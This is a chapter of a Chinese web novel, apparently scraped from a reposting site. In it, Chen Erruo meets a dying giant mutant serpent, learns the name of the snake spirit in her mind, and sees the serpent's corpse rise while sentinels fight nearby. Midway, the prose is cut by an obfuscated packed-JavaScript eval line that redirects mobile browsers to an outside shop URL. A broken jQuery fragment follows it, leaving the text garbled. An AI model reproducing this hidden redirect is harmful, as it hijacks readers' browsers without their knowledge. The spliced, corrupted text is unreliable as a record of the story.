再次睁开眼,陈尔若以为她还在那条蛇的躯体里——她看见了一颗巨大的头颅。
头颅从黑暗中伸出来,幽绿的竖瞳居高临下地望着她。它绿色的蛇躯上附着一层层白色的蠕动的东西,密密麻麻,像被蛆虫肆意啃咬过的尸体,只一眼就让她胃液翻涌。
「蝎子找到了你。」
蛇头伸过来时,陈尔若实在没忍住,恶心得捂住了嘴。尽管没有难闻的气味,但这种程度的视觉冲击还是让她作呕。
「你的能力……很强。」
他的声音如古稀老人,沧桑、沙哑,「但你的身体属于人类,你太脆弱。」
陈尔若逼迫自己低头,不去看它,身体因生理性恐惧而轻轻颤抖。
蠕蛇的体型几乎能盘旋在石柱上,她梦里的沉睡的巨蛇也不过它的二分之一。蛛母于它而言,就像人类看脚下的蜘蛛,而普通人类,相当于虫子……她根本无法想象这样存在能被人类战胜。
「但这些都不重要。」
蠕蛇缓缓退回黑暗中,他的声音疲乏而苍老:「只要你做到我交给你的事情,你就能活着……如果你想回到人类的队列,那也是你的事情。但我要提醒你,不是所有人类都能接纳你。」
等它的模样在视野里消失,陈尔若才敢抬起头来。她听不懂这只变异种在说什么,身陷敌营,她只能强调:「我跟你们是同类。」
「但你选择了当人。」他说。
当人?
陈尔若觉得可笑。
难道她还能自由选择当不当人吗?
这些变异种把她当同类,无非是透过她感觉到了那条蛇,那只变异种寄宿在她识海里。
她鼓起勇气质问:「你交给我的事,就是让外面那些哨兵心甘情愿让其他变异种吃掉吗?」
「我之前是这样想的。」蠕蛇说。
之前?陈尔若不明白。
她困惑:「你改变主意了?」
「去见他们吧……你只需要去见他们。」
说完最后一句话,蠕蛇便再也没了声音,像暮霭老人沉沉睡去,不知何时会醒。
头顶有一丝细缝,透出光亮。
陈尔若茫然地站在宽阔的、空荡荡的洞穴里,不明所以。
蛛母与菌毯不知去了哪儿。它们将意识脱出的她带到这里,蠕蛇跟她说了许多莫名的话,便睡了。
它现在不要她操纵那些哨兵,只要她去见他们就好?为什么?
「它死了。」
蛇的声音骤然在她耳畔出现,语调漠然。
陈尔若冷不丁被吓了一跳。
反应过来后,她怒道:「你刚才那么长时间去哪儿了?我还以为你昏迷了。」
「如果我出声,那些变异种听得见。它们会明白你只是人类。」蛇简短解释。
「所以你一直都在。」
「是。」
「你说它死了……」
陈尔若不可思议地看向被黑暗吞噬的变异种,它硕大的身躯隐没在洞穴里,无声无息。
「他活得够久了。死亡对他是种解脱。」
有蛇在身侧,身处陌生地界的恐惧被驱散许多,陈尔若像个好问的学生,急切地提出自己的疑问:「我感觉它好像知道我是人……但又跟我说什么,我选择当人?」
「还记得那只蜘蛛跟你说的话吗。」
陈尔若努力回想:「说只要人类主动被它们吃掉,就会变成它们的一部分?」
蛇说:「特殊能力者自愿献身的情况下。如果人类的意识战胜变异种,他就能保持人的意识活下去。但如果没有,就会成为变异种意识的养分,丧失意识,即真正死亡。」
陈尔若愣了下,下意识问:「可是成为变异种的人,还算人吗。」
蛇没有回应。
隔了几秒,他突然问:「你觉得人是什么?」
陈尔若哽了半天。
「……这问题未免有点太深奥了吧。」
但她思考片刻,还是作答:「我觉得,如果一个人作为“人”活过,哪怕后来他变成了其他物种,只要他觉得自己还是人,还保有人的情感、人的喜怒、哀乐、爱恨,那他就是。而认出他、真正爱他在乎他的人,也会把他当成人来对待。」
「那你觉得我是人吗。我甚至没有躯体。」蛇平静问。
这问题像一个荒唐的笑话。
但陈尔若没有笑,她恍惚察觉到他言语下藏着的嘲弄与自轻。
于是哪怕面对黑暗,没有任何人看见她,陈尔若深呼一口气,非常、非常认真且慎重告诉它:「我觉得你是。」
「虽然你到现在都没有名字,但你有记忆、有过去,你在寻找,我也一直把你当成可以交谈的人来对待。」她说,「无论你的身体究竟是什么,在我看来,你就是活生生的人,有自由意志和情感的人。」
紧接着,是长达半分钟的沉默。
忽然,蛇说:「我叫佘。」
陈尔若呆呆问:「啊?你就叫蛇?」
他又默了两秒。
下一刻,陈尔若朦胧感觉到识海像空白的画布,投影般出现一道身影……
一个少年隔着玻璃,垂眼注视她,如黑水般的长发流淌在身上、地上。
皮肤苍白得能看见青红色的血管,与寡淡的黑白格格不入的,是他那张漂亮得如艳鬼般的脸,狭长的眼、高挺的鼻、单薄的唇,呈现出突兀的眩目……比起惊艳,更多是被怪物盯上的惊悚。
他朝她微微笑了下,笑得温和。
漆黑的竖瞳倏地收缩成细线。
他叫佘。
敷衍的,“蛇”的同音字。
陈尔若被这一眼看得吓出了冷汗。她强装镇定:“没事,就当是外国人喊名字了,他们外国人喊中文名不也就喊一个字吗……”
「你很怕我。」蛇笑着问。
陈尔若打着哈哈:「哪有……」
「没关系,毕竟你也摆脱不了我。」
陈尔若:“……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717007|173346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她总觉得他这话是故意报复。
但他真的很吓人啊!
陈尔若心累至极,强行转移话题:“好了好了!我们准备走吧。既然那个叫蠕蛇的变异种已经死了,而且也没给我下达什么任务,那我们就跟那些哨兵汇合……”
“嘶——”
一道细微而诡异的低嘶声打断了她的话。
陈尔若猛回头。
*
林子里,遍地的枯木被一层层深绿色的菌类附着,像疯狂蔓延的菌群,如围剿般朝哨兵涌来。
谷晁坐在高处树枝上,挑眉,游隼在他肩头停住——弥漫的孢雾在精神体眼中成了半透明的纱帘,大地之下,无数菌丝脉络如血管般清晰可见。
他握着通讯器,正想给蔺易说明核心在哪儿,一张嘴才意识到通讯已经被蜘蛛干扰了。
他叹了口气,屈膝蹲在枝干上,正准备跃下。黑鹰展翅从他头顶掠过,投下一片浓重的阴影,尖锐的爪子直奔他刚看中的弱点。
不过两秒,伴随着剧烈的震颤,地面上肆虐的菌群如疯了般摇晃、逃窜,一路逃向近处的洞穴。
谷晁笑了:“这么明显的诱敌?”
……
被击中蝎尾的变异种狼狈退回石缝内,深蓝色的毒液淌了一地,又被孟焕拎着消毒试剂毫不犹豫地冲干净。
诸发收回枪支,摸了摸旁边的黑狮,黑狮懒懒一掌拍碎石块,它身侧的马更歇狼身影如电,在石块碎裂的一瞬间,擦着边缘猛然深入缝隙。
安克低头关注追踪仪,眼神若有所思。
……
白茫茫的迷雾中,陈宿带着金属面罩踏出来,厌烦地挥了下空气,利爪如风,划破缠在他脚踝处的蛛丝,黑豹摇了摇脑袋,嫌弃地舔舔爪子。
蛛网在脚下结成团,被鬃狮一爪拍散,蔺霍环顾四周,抽出腰间的手枪,换好火焰弹,对准缠绕在石壁上的蛛丝,连发几枪。
火焰骤燃。
变异种痛苦尖锐的叫声顿时贯穿洞内。
其余陷在迷雾里的哨兵纷纷睁眼,惊魂未定。其中一人清醒后呆滞看向洞穴深处,嘴巴张开,仿佛在幻境中看到可怖的景象:“有……有……”
陈宿扭头定定盯住漆黑的洞内。
他深深皱眉。
……
陈尔若此生都忘不了她回头看见的东西。
黑暗中,那本该死亡的蠕蛇,居然又直起身来,它仿佛蜕了皮、剥了肉,身上蠕动的白色虫子消失了,只剩青嫩的身躯,体型缩了将近一倍,但足以贪婪地睨视她。
“它不是死……”
她惊恐的问题在看见它的眼睛后,赫然停住——她难以置信地看着它全白的蛇瞳,迟钝的动作。
它是尸体。
蠕蛇已经死了。
但它的尸体……还活着?
蛇的语气急转直下,冰冷的。
「陈尔若,把身体控制权交给我。」
「立刻、马上。」